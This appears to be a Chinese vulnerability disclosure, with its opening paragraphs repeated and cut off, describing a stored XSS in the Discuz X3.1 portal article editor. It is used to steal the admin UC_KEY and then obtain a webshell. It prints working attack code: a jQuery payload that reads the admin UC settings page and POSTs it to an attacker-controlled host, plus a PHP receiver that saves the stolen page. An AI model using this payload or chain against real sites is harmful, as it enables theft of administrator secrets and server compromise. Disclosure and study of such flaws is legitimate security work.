### 简要描述: Discuz某处XSS劫持UC_KEY到拿webshell。 XSS应用的详细过程。 ### 详细说明: ``` 漏洞: ``` 这个漏洞的位置在Discuz的门户功能处。 在发表文章时,打开“编辑源码”功能时,写入任意XSS CODE后,再进入和输出都没有过滤。导致存储型XSS。 大家都知道,这里的XSS虽然可以劫持到用户和管理的Cookies,但是没什么用,无法登陆。 那么,我们可以想办法拿XSS来干点其他的,比如劫持管理员后台内容,如UC_KEY等。 ``` 门槛: ``` 因为默认安装情况下这个门户功能是没有配置的。 所以管理员需要手动配置门户功能。大部分都会开启门户。 但是开启门户,添加门户频道后不是所有用户都可以发表文章。 发表文章的权限是管理员手动配置的。 一般情况: 1、管理员可以发表文章。 2、超级版主,版主等管理组可以发表文章。 3、普通用户可以发表文章。 4、上述用户发表文章后可以配置需要管理员审核等。 所以,综上所述,只要用户可以发表文章就可以到达目的了。 ``` 下面说说详细过程: ``` 首先我们来看下我们目标环境的discuz配置,选择门户——添加频道: [<img src="https://images.seebug.org/upload/201401/231512254e81de669c540998bcbea0b6197bee24.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/231512254e81de669c540998bcbea0b6197bee24.png) 然后看看可发表文章的用户组。这里是新手的发表文章文章权限配置。 [<img src="https://images.seebug.org/upload/201401/23151329a18b5bb55b4bd893d593ab0b8511db40.png" alt="2.png" width="600"...
### 简要描述: Discuz某处XSS劫持UC_KEY到拿webshell。 XSS应用的详细过程。 ### 详细说明: ``` 漏洞: ``` 这个漏洞的位置在Discuz的门户功能处。 在发表文章时,打开“编辑源码”功能时,写入任意XSS CODE后,再进入和输出都没有过滤。导致存储型XSS。 大家都知道,这里的XSS虽然可以劫持到用户和管理的Cookies,但是没什么用,无法登陆。 那么,我们可以想办法拿XSS来干点其他的,比如劫持管理员后台内容,如UC_KEY等。 ``` 门槛: ``` 因为默认安装情况下这个门户功能是没有配置的。 所以管理员需要手动配置门户功能。大部分都会开启门户。 但是开启门户,添加门户频道后不是所有用户都可以发表文章。 发表文章的权限是管理员手动配置的。 一般情况: 1、管理员可以发表文章。 2、超级版主,版主等管理组可以发表文章。 3、普通用户可以发表文章。 4、上述用户发表文章后可以配置需要管理员审核等。 所以,综上所述,只要用户可以发表文章就可以到达目的了。 ``` 下面说说详细过程: ``` 首先我们来看下我们目标环境的discuz配置,选择门户——添加频道: [<img src="https://images.seebug.org/upload/201401/231512254e81de669c540998bcbea0b6197bee24.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/231512254e81de669c540998bcbea0b6197bee24.png) 然后看看可发表文章的用户组。这里是新手的发表文章文章权限配置。 [<img src="https://images.seebug.org/upload/201401/23151329a18b5bb55b4bd893d593ab0b8511db40.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/23151329a18b5bb55b4bd893d593ab0b8511db40.png) 可以发表文章,但是需要管理审核。 上述时普遍存在的常规门户文章发表配置。 然后我们在目标站上注册用户,发表文章: [<img src="https://images.seebug.org/upload/201401/231514372d2ef63e27047fd612beb1a1e68f6dc2.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/231514372d2ef63e27047fd612beb1a1e68f6dc2.png) 具体注意的,介绍的部分上图已说明。 这里攻击者服务其上的jquery.js和js.js就是我们劫持UC_KEY的核心。 说白了就是劫持页面源代码。没什么技术含量。 这里我用了ajax请求,为了避免没有jquery环境,自己加上了jquery.js。 js.js代码如下: ``` $(document).ready(function(){ var htmlstr = ''; $.ajax({ url: "http://xxx.xxx.100.235/Discuz_X3.1_SC_UTF8/admin.php?action=setting&operation=uc", dataType: "text", async: false, success: function(data){ htmlstr = data; } }); $.ajax({ url: "http://xxx.xxx.20.198/savepage.php", dataType: "text", async: false, type: "POST", data: {"msg": htmlstr}, success: function(data){ //htmlstr = data; } }); //$("body").append("<area>"+htmlstr+"</area>"); //alert(htmlstr) }); ``` 功能就是劫持目标的http://xxx.xxx.100.235/Discuz_X3.1_SC_UTF8/admin.php?action=setting&operation=uc页面的内容,然后发送到攻击者的http://xxx.xxx.20.198/savepage.php上。 savepage.php就是接受目标页面源码内容的,代码如下: ``` <?php $data=$_POST['msg']; $file='savepage.txt'; if (is_writable($file) == false) { die('123'); } file_put_contents($file, $data); ?> ``` 下面我们来看看我们发表文章后,目标站点上的响应: [<img src="https://images.seebug.org/upload/201401/231523055e6bd54f08113008934cb3cb109f6e2b.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/231523055e6bd54f08113008934cb3cb109f6e2b.png) 管理员进入后台就会看见提示。 [<img src="https://images.seebug.org/upload/201401/23152337a6b81b911313ab95edb36facfededfe0.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/23152337a6b81b911313ab95edb36facfededfe0.png) 打开需要审核的内容,管理员在审核时一般都会看看这个文章的内容,是否可以发布。 此时管理员查看时,已经被我们劫持。 [<img src="https://images.seebug.org/upload/201401/23152441366f63fd515c52be59a4dcece2bb44bc.png" alt="6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/23152441366f63fd515c52be59a4dcece2bb44bc.png) 最后我们回到攻击者,看看我们接收到的内容: [<img src="https://images.seebug.org/upload/201401/23152512bb825cec87180f35dd1884bfb41c3c28.png" alt="7.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/23152512bb825cec87180f35dd1884bfb41c3c28.png) 剩下的就是利用UC_KEY直接拿shell,或者登陆后台,这里的内容见其他漏洞详情。 ### 漏洞证明: 上一张攻击值劫持到的内容: [<img src="https://images.seebug.org/upload/201401/2315280315ad955893fb812f72a6d8bce8e7c50a.png" alt="7.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/2315280315ad955893fb812f72a6d8bce8e7c50a.png)